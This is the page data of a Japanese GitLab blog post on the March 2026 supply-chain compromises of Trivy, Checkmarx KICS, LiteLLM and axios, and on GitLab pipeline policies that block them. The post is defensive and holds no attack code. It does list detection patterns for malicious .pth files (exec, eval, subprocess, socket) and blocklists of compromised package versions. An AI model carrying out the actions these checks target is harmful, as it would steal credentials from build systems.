[{"data":1,"prerenderedAt":788},["ShallowReactive",2],{"/ja-jp/blog/pipeline-security-lessons-from-march-supply-chain-incidents":3,"navigation-ja-jp":40,"banner-ja-jp":451,"footer-ja-jp":461,"blog-post-authors-ja-jp-Grant Hickman":697,"blog-related-posts-ja-jp-pipeline-security-lessons-from-march-supply-chain-incidents":711,"blog-promotions-ja-jp":727,"next-steps-ja-jp":779},{"id":4,"title":5,"authorSlugs":6,"authors":8,"body":10,"category":11,"categorySlug":11,"config":12,"content":16,"date":20,"description":26,"extension":27,"externalUrl":28,"featured":13,"heroImage":17,"isFeatured":13,"meta":29,"navigation":30,"path":31,"publishedDate":20,"rawbody":32,"seo":33,"slug":15,"stem":36,"tagSlugs":37,"tags":38,"template":14,"updatedDate":19,"__hash__":39},"blogPosts/ja-jp/blog/pipeline-security-lessons-from-march-supply-chain-incidents.yml","3月のサプライチェーン攻撃から学ぶパイプラインセキュリティ",[7],"grant-hickman",[9],"Grant Hickman","***注：GitLab製品は、本記事で言及されている侵害されたパッケージバージョンを使用していませんでした。***\n\nわずか12日間で4件の独立したサプライチェーン攻撃が発生し、継続的インテグレーション／継続的デリバリー（CI/CD）パイプラインが高度な脅威アクターにとって格好の標的となっていることが明らかになりました。\n\n2026年3月19日から31日にかけて、脅威アクターは以下のツールを侵害しました。\n\n* オープンソースのセキュリティスキャナー（Trivy）\n* Infrastructure as Code（IaC）セキュリティスキャナー（Checkmarx KICS）\n* AIモデルゲートウェイ（LiteLLM）\n* JavaScript HTTPクライアント（axios）\n\nいずれの攻撃も同じ侵入口を狙っていました。それがビルドパイプラインです。\n本記事では、何が起きたのか、なぜパイプラインが特に脆弱なのか、そしてGitLabの集中型ポリシー適用（以下で定義するポリシーを使用）が、これらの攻撃パターンを本番環境に到達する前にブロック・検出・封じ込める方法を解説します。\n\n## 数百万人が信頼するツールが、わずか数分で侵害された\n\nサプライチェーン攻撃のタイムラインは以下のとおりです。\n\n### 3月19日：Trivyセキュリティスキャナーが攻撃のベクターに\n\n[Trivy](https://github.com/aquasecurity/trivy)は、世界で最も広く使われているオープンソースの脆弱性スキャナーの1つです。脆弱性を検出するために*パイプライン内*で実行されるツールです。\n\n3月19日、TeamPCPと呼ばれる脅威アクターグループが[侵害された認証情報を使用し](https://www.aquasec.com/blog/trivy-supply-chain-attack-what-you-need-to-know/)、`aquasecurity/trivy-action` GitHub Actionの76バージョンタグ（全77件中）および`aquasecurity/setup-trivy`の全7タグに悪意のあるコードをforce-pushしました。同時に、トロイの木馬化されたTrivyバイナリ（v0.69.4）が公式配布チャネルに公開されました。このペイロードは認証情報を窃取するマルウェアで、Trivyスキャンを実行したすべてのパイプラインから環境変数、クラウドトークン、SSHキー、CI/CDシークレットを収集しました。\n\nこのインシデントには[CVE-2026-33634](https://nvd.nist.gov/vuln/detail/CVE-2026-33634)が割り当てられ、CVSSスコアは9.4でした。米国サイバーセキュリティ・インフラストラクチャセキュリティ庁（CISA）は数日以内にこれを既知の悪用済み脆弱性カタログに追加しました。\n\n### 3月23日：次はCheckmarx KICSが標的に\n\nTeamPCPは窃取した認証情報を使い、CheckmarxのオープンソースプロジェクトであるKICS（Keeping Infrastructure as Code Secure）に攻撃対象を移しました。`ast-github-action`および`kics-github-action` GitHub Actionに[同じ認証情報窃取マルウェアを注入し](https://thehackernews.com/2026/03/teampcp-hacks-checkmarx-github-actions.html)、3月23日の12:58〜16:50 UTCの間、これらのアクションを参照するCI/CDパイプラインはすべて、APIキー、データベースパスワード、クラウドアクセストークン、SSHキー、サービスアカウントの認証情報などの機密データを密かに外部に送信していました。\n\n### 3月24日：Trivyの侵害された認証情報を経由してLiteLLMも被害を受ける\n\n月間9,500万ダウンロードのLLM APIプロキシであるLiteLLMが次の標的になりました。TeamPCPは、TrivyでスキャンしていたLiteLLM自身のCI/CDパイプラインから収集した認証情報を使用し、PyPIにバックドアを仕込んだバージョン（1.82.7および1.82.8）を[公開しました](https://thehackernews.com/2026/03/teampcp-backdoors-litellm-versions.html)。\n\nバージョン1.82.7を標的としたマルウェアは、`litellm/proxy/proxy_server.py`にインポート時に実行されるbase64エンコードされたペイロードを直接注入していました。バージョン1.82.8を標的としたものは、Pythonインタープリタ起動時に自動実行される`.pth`ファイルを使用していました。LiteLLMをインストールするだけでペイロードが起動してしまう仕組みです。攻撃者は窃取したデータ（SSHキー、クラウドトークン、.envファイル、暗号資産ウォレット）を暗号化し、本物のドメインに似せた`models.litellm.cloud`に外部送信しました。\n\n### 3月31日：単純なパッケージングミスがAIコーディングアシスタントのソースコードを流出させる\n\nTeamPCPの攻撃キャンペーンがまだ続く中、あるソフトウェア企業が59.8 MBのソースマップファイルを含むnpmパッケージを公開してしまいました。そのファイルには、AIコーディングアシスタントの完全な未縮小TypeScriptソースコードへの参照が含まれており、自社のCloudflare R2バケットでホストされていました。\n\nこの流出により、1,900のTypeScriptファイル、512,000行以上のコード、44の隠し機能フラグ、未公開のモデルコードネーム、そして知る人ぞ知る場所へのアクセス方法を知っていれば誰でも確認できるシステムプロンプトの全文が公開されてしまいました。エンジニアの[Gabriel Anhaia氏が解説したように](https://dev.to/gabrielanhaia/claude-codes-entire-source-code-was-just-leaked-via-npm-source-maps-heres-whats-inside-cjo)、「`.npmignore`またはpackage.jsonのfilesフィールドの設定ミスが1つあるだけで、すべてが露出してしまいます」。\n\n### 3月31日：axiosとサプライチェーンへのもう1つのトロイの木馬\n\n同日、週間1億ダウンロード超のJavaScript HTTPクライアントであるaxios npmパッケージを狙った[高度なキャンペーンが実行されました](https://thehackernews.com/2026/03/axios-supply-chain-attack-pushes-cross.html)。\n\n侵害されたメンテナーアカウントによりバックドアを仕込んだバージョン（1.14.1および0.30.4）が公開されました。悪意のある依存関係（`plain-crypto-js@4.2.1`）が注入され、macOS、Windows、Linuxで動作するリモートアクセス型トロイの木馬（RAT）がデプロイされました。2つのリリースブランチともに39分以内に感染し、マルウェアは実行後に自己消去するよう設計されていました。\n\n## これらの攻撃に潜む共通パターン\n\n5件のインシデントを通じて、3つの明確な攻撃パターンが浮かび上がってきます。いずれもCI/CDパイプラインがその入力に対して暗黙的に持つ信頼を悪用するものです。\n\n### パターン1：汚染されたツールとアクション\n\nTeamPCPのキャンペーンは、ある根本的な前提を突いていました。それは、パイプライン*内*で実行されるセキュリティツール自体は信頼できるという思い込みです。GitHubアクションのタグやPyPIパッケージのバージョンが悪意のあるコードに解決された場合、パイプラインはそれを環境シークレット、クラウド認証情報、デプロイトークンへのフルアクセス権限で実行してしまいます。パイプラインはタグを信頼するため、検証ステップが存在しないのです。\n\n**推奨されるパイプラインレベルの対策：** 可変バージョンタグではなく、不変の参照（コミットSHAまたはイメージダイジェスト）にツールとアクションをピン留めしてください。ピン留めが現実的でない場合は、既知の正常なチェックサムまたは署名に対してツールと依存関係の整合性を検証してください。検証に失敗した場合は実行をブロックします。\n\n### パターン2：知的財産（IP）を漏洩するパッケージング設定ミス\n\n設定ミスのあるビルドパイプラインが、デバッグ成果物をそのまま本番パッケージに含めて出荷してしまいました。`.npmignore`またはpackage.jsonのfilesフィールドの設定ミスが1つあれば十分です。公開前の検証ステップを設けておけば、こうした問題は毎回防ぐことができます。\n\n**推奨されるパイプラインレベルの対策：** パッケージを公開する前に、パッケージの内容を許可リストに対して検証し、予期しないファイル（ソースマップ、内部設定ファイル、.envファイル）をフラグとして検出し、チェックに失敗した場合は公開ステップをブロックする自動チェックを実行してください。\n\n### パターン3：推移的依存関係の脆弱性\n\naxiosへの攻撃は、axiosを直接使用しているユーザーだけでなく、依存関係ツリーが侵害されたバージョンに解決されるすべてのユーザーを標的にしました。ロックファイル内で一度依存関係が汚染されると、組織全体のビルドインフラに波及する可能性があります。\n\n**推奨されるパイプラインレベルの対策：** 依存関係のチェックサムを既知の正常なロックファイルの状態と比較してください。予期しない新しい依存関係やバージョン変更を検出し、未検証のパッケージを導入するビルドをブロックします。\n\n## GitLabパイプライン実行ポリシーによる各攻撃パターンへの対処\n\nGitLabパイプライン実行ポリシー（[PEP](https://docs.gitlab.com/ja-jp/user/application_security/policies/pipeline_execution_policies/)）は、セキュリティチームおよびプラットフォームチームが、開発者が`.gitlab-ci.yml`で定義した内容に関わらず、組織全体のすべてのパイプラインに必須のCI/CDジョブを注入できる仕組みです。PEPで定義されたジョブは、`[skip ci]`や`[no_pipeline]`ディレクティブを使ってもスキップできません。ジョブは開発者のパイプラインを前後から挟む*予約済み*ステージ（`.pipeline-policy-pre`および`.pipeline-policy-post`）で実行できます。\n\n3つのパターンすべてに対応するパイプライン実行ポリシーをオープンソースプロジェクトとして公開しています：[Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)。これらのポリシーは独立してデプロイ可能で、それぞれテスト用の違反サンプルが同梱されています。各ポリシーの仕組みをご紹介します。\n\n### ユースケース1：パッケージ公開時の意図しない情報露出を防ぐ\n\n**問題：** ビルドパイプラインが公開時の検証をスキップしたため、ソースマップファイルがAIコーディングツールのnpmパッケージに含まれてしまいました。\n\n**PEPによるアプローチ：** この種のエラーに特化したオープンソースのパイプライン実行ポリシーを作成しました：[Artifact Hygiene](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/artifact-hygiene.gitlab-ci.yml?ref_type=heads)。\n\nこのポリシーは、公開ステップが実行される前に、アーティファクトタイプ（npmパッケージ、Dockerイメージ、またはHelmチャート）を自動検出してその内容を検査する`.pipeline-policy-pre`ジョブを注入します。npmパッケージに対しては、3つのチェックを実行します。\n\n1. **ファイルパターンのブロックリスト。** npm packの出力をスキャンし、ソースマップ（.map）、テストディレクトリ、ビルド設定、IDE設定、src/ディレクトリを検出します。\n2. **パッケージサイズゲート。** AIツールを流出させた59.8 MBパッケージのように、50 MBを超えるパッケージをブロックします。\n3. **sourceMappingURLスキャン。** 外部URL（大手AI企業のソースコードを露出させたR2バケットのパターン）、インラインのdata: URI、JavaScriptバンドルに埋め込まれたローカルファイル参照を検出します。\n\n違反が検出されると、パイプラインは失敗したCIジョブのログに明確なレポートを出力して終了します。\n\n```text\n=============================================\nFAILED: 3 violation(s) found\n=============================================\nBLOCKED: dist/index.js.map (matched: \\.map$)\nBLOCKED: dist/index.js contains external sourceMappingURL\nBLOCKED: dist/utils.js contains inline sourceMappingURL\n\nThis check is enforced by a Pipeline Execution Policy. If this is a false positive, contact the security team to update the policy project or exclude this project.\n```\n\nこのポリシーには、ユーザーが設定できるCI変数はありません。開発者が無効化したり回避したりすることはできません。例外はポリシーレベルでセキュリティチームが管理するため、意図的なプロセスと明確な監査証跡が確保されます。\n\nリポジトリには意図的な違反を含むテストプロジェクト（examples/leaky-npm-package/）が含まれており、組織にデプロイする前にポリシーの動作を確認できます。[README](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/README.md)には、セットアップとデプロイの完全なクイックスタートガイドが含まれています。\n\n**検出できる問題：** これらのコントロールのどれか1つでもあれば、AI企業のソースコード流出は防げていた可能性があります。\n\n* ソースマップファイルはファイルパターンのブロックリストに引っかかります。\n* 59.8 MBというサイズはサイズゲートに引っかかります。\n* 外部R2バケットを指すsourceMappingURLはURLスキャンに引っかかります。\n\n### ユースケース2：依存関係の改ざんとロックファイル操作を検出する\n\n**問題：** axiosへの攻撃では、インストール時にRATを実行する悪意のある推移的依存関係（`plain-crypto-js`）が導入されました。侵害が行われた期間中にnpm installを実行したすべての人がトロイの木馬を取り込んでしまいました。\n\n**PEPによるアプローチ：** [Dependency Integrityポリシー](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/dependency-integrity.gitlab-ci.yml)は、パッケージエコシステム（npmまたはPython）を自動検出し、3つのチェックを実行する.pipeline-policy-preジョブを注入します。\n\n**npmプロジェクトの場合**（`package-lock.json`、`yarn.lock`、または`pnpm-lock.yaml`によってトリガー）：\n\n1. **ロックファイルの整合性。** `npm ci --ignore-scripts`を実行します。`node_modules`の内容がロックファイルの指定と異なる場合、失敗します。これにより、package.jsonは更新されたがロックファイルが再生成されていないケースを検出し、SRIインテグリティハッシュも検証します。\n2. **ブロックパッケージスキャン。** ロックファイルの完全な依存関係ツリーを、侵害が確認済みのパッケージバージョンのGitLab管理リストである`blocked-packages.yml`と照合します。同梱のブロックリストには`axios@1.14.1`、`axios@0.30.4`、`plain-crypto-js@4.2.1`が含まれています。\n3. **未宣言の依存関係の検出。** インストール後、node_modulesの内容をロックファイルと比較します。ディスク上に存在するがロックファイルに存在しないパッケージは改ざんの証拠です（例：追加パッケージを取得する侵害されたpostinstallスクリプト）。\n\n**Pythonプロジェクトの場合**（`requirements.txt`、`Pipfile.lock`、`poetry.lock`、または`uv.lock`によってトリガー）：\n\n1. **ロックファイルの整合性。** 分離された仮想環境にインストールし、ロックファイルからのインストールが成功することを確認します。\n2. **ブロックパッケージスキャン。** 同じブロックリストのアプローチです。同梱リストには`litellm==1.82.7`および`litellm==1.82.8`が含まれています。\n3. **.pthファイルの検出。** site-packagesの`.pth`ファイルをスキャンし、実行可能なコードパターン（`import os`、`exec(`、`eval(`、`__import__`、`subprocess`、`socket`）を検出します。これはLiteLLMバックドアが使用したまさにその仕組みです。\n\n違反が検出されると：\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: axios@1.14.1 is a known-compromised package\n\nThis check is enforced by a Pipeline Execution Policy.\n```\n\nこのポリシーは*ストリクトモード*で動作します。コミット済みのロックファイルに存在しない依存関係は、パイプラインをブロックします。開発者が依存関係を追加する必要がある場合は、更新されたロックファイルをコミットします。ポリシーはインストールされたバージョンがコミットされたバージョンと一致することを確認します。コミットされていないものが現れた場合（例：侵害されたアップストリームパッケージ経由で注入された推移的依存関係）、パイプラインはブロックされます。\n\n**検出できる問題：** `plain-crypto-js`という新規かつ未確認の依存関係の導入は、未宣言の依存関係チェックによってフラグが立てられます。`axios@1.14.1`バージョンはブロックパッケージスキャンによって検出されます。LiteLLMの`.pth`ファイルは`.pth`検出チェックによって検出されます。各攻撃に対して、少なくとも1つ、多くの場合は2つの独立した検出シグナルがあります。\n\n### ユースケース3：侵害されたツールを実行前に検出・ブロックする\n\n**問題：** TeamPCPは、信頼できるTrivyとCheckmarxのGitHubアクションタグを悪意のあるバージョンに置き換えました。これらのタグを参照するパイプラインはすべて、認証情報を窃取するマルウェアを実行してしまいました。\n\n**PEPによるアプローチ：** [Tool Integrityポリシー](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/tool-integrity.gitlab-ci.yml)は、GitLab CI Lint API（またはフォールバックとして`.gitlab-ci.yml`を評価する仕組み）にクエリを発行し、コンテナイメージの参照を抽出して、セキュリティチームが管理する承認済みイメージ許可リストと照合する`.pipeline-policy-pre`ジョブを注入します。\n\n許可リスト（`approved-images.yml`）は、イメージごとに3つの制御をサポートしています。\n\n**承認済みリポジトリ：** リスト上のリポジトリからのイメージのみが許可されます。未知のリポジトリはパイプラインをブロックします。\n\n**許可されているタグ：** 承認済みリポジトリ内でも、特定のタグのみが許可されます。これにより、未テストバージョンへの移行を防ぎます。\n\n**ブロックされているタグ：** リポジトリが承認済みであっても、既知の侵害バージョンを明示的にブロックできます。同梱の許可リストは、TeamPCPがトロイの木馬化した正確なバージョンである`aquasec/trivy:0.69.4`から`0.69.6`をブロックします。\n\n違反が検出されると、他のジョブが実行される前にパイプラインが失敗します。\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: aquasec/trivy:0.69.4 (job: trivy-scan)\n\n - tag '0.69.4' is known-compromised\n\nThis check is enforced by a Pipeline Execution Policy.\n```\n\n許可リストは、ポリシープロジェクトに対するMRを通じて管理されます。新しい承認済みイメージを追加するには、セキュリティチームがMRを開きます。新たな侵害への対応には、ブロックするタグを追加するだけです。コードの変更は不要で、YAMLだけで管理できます。\n\n**検出できる問題：** 未承認のタグを持つイメージが検出されると、ポリシーはイメージのリポジトリ名とタグを許可リストと照合します。一致しない場合、スキャナーが実行される前にパイプラインをブロックし、認証情報の外部送信を防ぎます。\n\n*注：上記のサンプルを拡張することで、PEPをタグではなくダイジェストへのピン留めを強制するために使用できます。これはforce pushに対して耐性があります。このサンプルは、より基本的なタグベースの適用パターンを示しています。*\n\n## PEPを超えて：GitLabのサプライチェーン防御\n\nパイプライン実行ポリシーは適用のレイヤーですが、サプライチェーン保護において多層防御（defense-in-depth）戦略の一部として機能するときに最大の効果を発揮します。GitLabは、サプライチェーン保護においてPEPを補完するいくつかの機能を提供しています。\n\n### シークレット検出\n\n[GitLabのシークレット検出](https://docs.gitlab.com/ja-jp/user/application_security/secret_detection/)は、認証情報がそもそもリポジトリに入り込むことを防ぎ、侵害されたパイプラインツールが収集できる情報を大幅に削減します。2026年3月の攻撃の文脈では：\n\n* リポジトリに保存された認証情報は、攻撃者にとって発見しやすく、ローテーションも遅くなります。Trivyのインシデントでは、ローテーションプロセス自体も悪用されました。Aqua Securityのローテーションはアトミックではなく、攻撃者は古いトークンが完全に失効する前に新たに発行されたトークンを取得しました。GitLabのシークレット検出には、漏洩したGitLabトークンの自動失効機能と、サードパーティプロバイダーへの認証情報失効通知を行うパートナーAPIが含まれており、侵害発生時の対応を迅速化します。\n* シークレット検出と適切なシークレット管理（短命トークン、Vault基盤の認証情報、パイプラインシークレットへの最小限の露出）を組み合わせることで、信頼済みツールが悪意を持つ動作をした場合でも、攻撃者がアクセスできる範囲を制限します。\n\n### ソフトウェアコンポジション解析（SCA）による依存関係スキャン\n\nGitLabの[依存関係スキャン](https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/)は、ロックファイルとマニフェストを解析することで、プロジェクトの依存関係における既知の脆弱性を特定します。2026年3月の攻撃の文脈では：\n\n* LiteLLMについては、侵害されたバージョン（1.82.7、1.82.8）がGitLabのアドバイザリデータベースで追跡されており、影響を受けるPythonプロジェクトに自動的にフラグを立てます。\n* axiosについては、依存関係スキャンが組織内のすべてのプロジェクトで侵害されたバージョン（1.14.1、0.30.4）を特定し、セキュリティチームに影響範囲の評価と認証情報ローテーションの優先順位付けのための一元的なビューを提供します。\n* 同様に、TeamPCPのCanisterWorm伝播によって侵害されたすべてのnpmパッケージも、使用されている場合はフラグが立てられます。\n\n[GitLabコンテナスキャン](https://docs.gitlab.com/ja-jp/user/application_security/container_scanning/)は、デプロイメントで使用される脆弱なコンテナイメージを検出します。Trivyの侵害については、コンテナスキャンがコンテナレジストリまたはデプロイメントマニフェストに現れたトロイの木馬化されたTrivyのDockerイメージ（0.69.4〜0.69.6）にフラグを立てます。\n\n### マージリクエスト承認ポリシー\n\n[マージリクエスト承認ポリシー](https://docs.gitlab.com/ja-jp/user/application_security/policies/merge_request_approval_policies/)は、依存関係のロックファイルやCI/CD設定への変更がマージされる前にセキュリティチームの承認を必須とすることができます。これにより、サプライチェーン攻撃が一般的に導入する種類の変更に対して、人間によるチェックポイントが確保されます。\n\n### 近日公開予定：依存関係ファイアウォール、アーティファクトレジストリ、SLSAレベル3の認証と検証\n\n今後予定されているGitLabのサプライチェーンセキュリティ機能は、レジストリとパイプラインという2つの重要なコントロールポイントにおけるポリシー適用を強化します。依存関係ファイアウォールとアーティファクトレジストリは非準拠のパッケージをブロックし、SLSAレベル3の認証によってアーティファクトが承認されたパイプラインで生成され、改ざんされていないという暗号学的な証明が提供されます。これらを組み合わせることで、セキュリティチームはソフトウェアサプライチェーンへの入出力を検証可能な形で管理できるようになります。\n\n## あなたの組織にとっての意味\n\nAI支援型の脅威が高まる中、CI/CDパイプラインへの攻撃はますます一般的になっています。TeamPCPのキャンペーンは、1つの侵害された認証情報が信頼済みツールのエコシステム全体にどう波及するかを示しています。\n\n影響を受けたコンポーネントを使用していた場合は、すべてのパイプラインシークレットが露出したという前提で行動してください。直ちにローテーションし、永続的なバックドアがないかシステムを監査してください。いずれの場合も、認証情報を定期的にローテーションし、短命トークンを使用することで、将来の侵害のブラスト半径を制限できます。\n\n推奨事項をまとめます：\n\n1. **可能な限り、依存関係をチェックサムにピン留めしてください。** TeamPCPが悪用した可変バージョンタグは、セキュリティ境界ではありません。すべての[CI/CDコンポーネント](https://docs.gitlab.com/ja-jp/ci/components/#manage-dependencies)、アクション、コンテナイメージにはSHAピン留め参照を使用してください。\n2. **実行前の整合性チェックを実行してください。** パイプライン実行ポリシーを使用して、パイプラインジョブが実行される*前*にツールと依存関係の整合性を確認してください。これが`.pipeline-policy-pre`ステージです。\n3. **公開するものを監査してください。** すべてのパッケージ公開ステップには、アーティファクトの内容を自動検証する処理を含めてください。ソースマップ、環境ファイル、内部設定はビルド環境から外部に出すべきではありません。[Supply Chain Policy](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)プロジェクトは、npm、Docker、Helmアーティファクトのすぐにデプロイできる出発点を提供しています。\n4. **依存関係のドリフトを検出してください。** すべてのパイプライン実行において、依存関係の解決結果をコミット済みロックファイルと比較してください。予期しない新しい依存関係を監視します。\n5. **ポリシー管理を集中化してください。** セキュリティチェックを含めることを開発者の記憶に頼らないでください。開発者が削除やスキップをできないポリシーを通じて、グループまたはインスタンスレベルで適用してください。\n6. **セキュリティツール自体が標的になると想定してください。** 脆弱性スキャナー、静的アプリケーションセキュリティテスト（SAST）ツール、AIゲートウェイは侵害される可能性があります。各ツールの権限は最低限必要なものに限定し、その他へのアクセスが不可能であることを確認してください。\n\n## GitLabでパイプラインを保護する\n\n2週間にわたり、攻撃者はソフトウェア開発エコシステムで最も広く採用されているツールの一部を使用している組織の本番パイプラインを侵害しました。\n\n教訓は明確です。ビルドパイプラインには、ネットワークやクラウドインフラに適用するのと同じレベルの集中管理されたポリシー駆動の保護が必要です。\n\nGitLabパイプライン実行ポリシーは、その適用レイヤーを提供します。個々のプロジェクト設定に関わらず、すべてのプロジェクトのすべてのパイプラインでセキュリティチェックが実行されることを保証します。依存関係スキャン、シークレット検出、マージリクエスト承認ポリシーと組み合わせることで、2026年3月に見られたクラスの攻撃をブロック、検出、封じ込めることができます。\n\n[Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)プロジェクトは、大手AI企業の流出事故の背後にある種類のエラーを正確に検出する、動作するパイプライン実行ポリシーを提供しています。npmパッケージ、Dockerイメージ、Helmチャートに対応しています。クローンして、グループにデプロイし、今後のサプライチェーン攻撃に備えてすべてのパイプラインを準備してください。\n\n集中管理されたパイプラインポリシーを始めるには、[GitLab Ultimateの無料トライアル](https://about.gitlab.com/ja-jp/free-trial/devsecops/)にサインアップしてください。\n\n*このブログ記事には、1933年証券法第27A条（改正済み）および1934年証券取引法第21E条の意味における「将来の見通しに関する記述」が含まれています。これらの記述に反映された予想は合理的であると信じておりますが、実際の結果や成果を大幅に異なるものにする可能性のある既知および未知のリスク、不確実性、前提条件、その他の要素の影響を受けることがあります。これらのリスクおよびその他の要素に関するさらなる情報は、SECへの提出書類の「リスク要因」という見出しの下に記載されています。法律で要求される場合を除き、このブログ投稿の日付以降にこれらの記述を更新または修正する義務を負いません。*","security-labs",{"featured":13,"template":14,"slug":15},false,"BlogPost","pipeline-security-lessons-from-march-supply-chain-incidents",{"heroImage":17,"body":10,"authors":18,"updatedDate":19,"date":20,"title":5,"tags":21,"description":26,"category":11},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png",[9],"2026-04-10","2026-04-07",[22,23,24,25],"security","product","tutorial","features","2026年3月、Trivy・Checkmarx KICS・LiteLLM・axiosが次々と侵害されました。GitLabの集中管理されたパイプライン実行ポリシーが、これらのサプライチェーン攻撃パターンをどのように検出・ブロックできるかをご紹介します。","yml",null,{},true,"/ja-jp/blog/pipeline-security-lessons-from-march-supply-chain-incidents","seo:\n  config:\n    noIndex: false\n  title: 3月のサプライチェーン攻撃から学ぶパイプラインセキュリティ\n  description: 2026年3月、Trivy・Checkmarx\n    KICS・LiteLLM・axiosが次々と侵害されました。GitLabの集中管理されたパイプライン実行ポリシーが、これらのサプライチェーン攻撃パターンをどのように検出・ブロックできるかをご紹介します。\n  ogImage: https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1772630163/akp8ly2mrsfrhsb0liyb.webp\ncontent:\n  heroImage: https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png\n  body: >-\n    ***注：GitLab製品は、本記事で言及されている侵害されたパッケージバージョンを使用していませんでした。***\n\n\n    わずか12日間で4件の独立したサプライチェーン攻撃が発生し、継続的インテグレーション／継続的デリバリー（CI/CD）パイプラインが高度な脅威アクターにとって格好の標的となっていることが明らかになりました。\n\n\n    2026年3月19日から31日にかけて、脅威アクターは以下のツールを侵害しました。\n\n\n    * オープンソースのセキュリティスキャナー（Trivy）\n\n    * Infrastructure as Code（IaC）セキュリティスキャナー（Checkmarx KICS）\n\n    * AIモデルゲートウェイ（LiteLLM）\n\n    * JavaScript HTTPクライアント（axios）\n\n\n    いずれの攻撃も同じ侵入口を狙っていました。それがビルドパイプラインです。\n\n    本記事では、何が起きたのか、なぜパイプラインが特に脆弱なのか、そしてGitLabの集中型ポリシー適用（以下で定義するポリシーを使用）が、これらの攻撃パターンを本番環境に到達する前にブロック・検出・封じ込める方法を解説します。\n\n\n    ## 数百万人が信頼するツールが、わずか数分で侵害された\n\n\n    サプライチェーン攻撃のタイムラインは以下のとおりです。\n\n\n    ### 3月19日：Trivyセキュリティスキャナーが攻撃のベクターに\n\n\n    [Trivy](https://github.com/aquasecurity/trivy)は、世界で最も広く使われているオープンソースの脆弱性スキャナーの1つです。脆弱性を検出するために*パイプライン内*で実行されるツールです。\n\n\n    3月19日、TeamPCPと呼ばれる脅威アクターグループが[侵害された認証情報を使用し](https://www.aquasec.com/blog/trivy-supply-chain-attack-what-you-need-to-know/)、`aquasecurity/trivy-action` GitHub Actionの76バージョンタグ（全77件中）および`aquasecurity/setup-trivy`の全7タグに悪意のあるコードをforce-pushしました。同時に、トロイの木馬化されたTrivyバイナリ（v0.69.4）が公式配布チャネルに公開されました。このペイロードは認証情報を窃取するマルウェアで、Trivyスキャンを実行したすべてのパイプラインから環境変数、クラウドトークン、SSHキー、CI/CDシークレットを収集しました。\n\n\n    このインシデントには[CVE-2026-33634](https://nvd.nist.gov/vuln/detail/CVE-2026-33634)が割り当てられ、CVSSスコアは9.4でした。米国サイバーセキュリティ・インフラストラクチャセキュリティ庁（CISA）は数日以内にこれを既知の悪用済み脆弱性カタログに追加しました。\n\n\n    ### 3月23日：次はCheckmarx KICSが標的に\n\n\n    TeamPCPは窃取した認証情報を使い、CheckmarxのオープンソースプロジェクトであるKICS（Keeping Infrastructure as Code Secure）に攻撃対象を移しました。`ast-github-action`および`kics-github-action` GitHub Actionに[同じ認証情報窃取マルウェアを注入し](https://thehackernews.com/2026/03/teampcp-hacks-checkmarx-github-actions.html)、3月23日の12:58〜16:50 UTCの間、これらのアクションを参照するCI/CDパイプラインはすべて、APIキー、データベースパスワード、クラウドアクセストークン、SSHキー、サービスアカウントの認証情報などの機密データを密かに外部に送信していました。\n\n\n    ### 3月24日：Trivyの侵害された認証情報を経由してLiteLLMも被害を受ける\n\n\n    月間9,500万ダウンロードのLLM APIプロキシであるLiteLLMが次の標的になりました。TeamPCPは、TrivyでスキャンしていたLiteLLM自身のCI/CDパイプラインから収集した認証情報を使用し、PyPIにバックドアを仕込んだバージョン（1.82.7および1.82.8）を[公開しました](https://thehackernews.com/2026/03/teampcp-backdoors-litellm-versions.html)。\n\n\n    バージョン1.82.7を標的としたマルウェアは、`litellm/proxy/proxy_server.py`にインポート時に実行されるbase64エンコードされたペイロードを直接注入していました。バージョン1.82.8を標的としたものは、Pythonインタープリタ起動時に自動実行される`.pth`ファイルを使用していました。LiteLLMをインストールするだけでペイロードが起動してしまう仕組みです。攻撃者は窃取したデータ（SSHキー、クラウドトークン、.envファイル、暗号資産ウォレット）を暗号化し、本物のドメインに似せた`models.litellm.cloud`に外部送信しました。\n\n\n    ### 3月31日：単純なパッケージングミスがAIコーディングアシスタントのソースコードを流出させる\n\n\n    TeamPCPの攻撃キャンペーンがまだ続く中、あるソフトウェア企業が59.8 MBのソースマップファイルを含むnpmパッケージを公開してしまいました。そのファイルには、AIコーディングアシスタントの完全な未縮小TypeScriptソースコードへの参照が含まれており、自社のCloudflare R2バケットでホストされていました。\n\n\n    この流出により、1,900のTypeScriptファイル、512,000行以上のコード、44の隠し機能フラグ、未公開のモデルコードネーム、そして知る人ぞ知る場所へのアクセス方法を知っていれば誰でも確認できるシステムプロンプトの全文が公開されてしまいました。エンジニアの[Gabriel Anhaia氏が解説したように](https://dev.to/gabrielanhaia/claude-codes-entire-source-code-was-just-leaked-via-npm-source-maps-heres-whats-inside-cjo)、「`.npmignore`またはpackage.jsonのfilesフィールドの設定ミスが1つあるだけで、すべてが露出してしまいます」。\n\n\n    ### 3月31日：axiosとサプライチェーンへのもう1つのトロイの木馬\n\n\n    同日、週間1億ダウンロード超のJavaScript HTTPクライアントであるaxios npmパッケージを狙った[高度なキャンペーンが実行されました](https://thehackernews.com/2026/03/axios-supply-chain-attack-pushes-cross.html)。\n\n\n    侵害されたメンテナーアカウントによりバックドアを仕込んだバージョン（1.14.1および0.30.4）が公開されました。悪意のある依存関係（`plain-crypto-js@4.2.1`）が注入され、macOS、Windows、Linuxで動作するリモートアクセス型トロイの木馬（RAT）がデプロイされました。2つのリリースブランチともに39分以内に感染し、マルウェアは実行後に自己消去するよう設計されていました。\n\n\n    ## これらの攻撃に潜む共通パターン\n\n\n    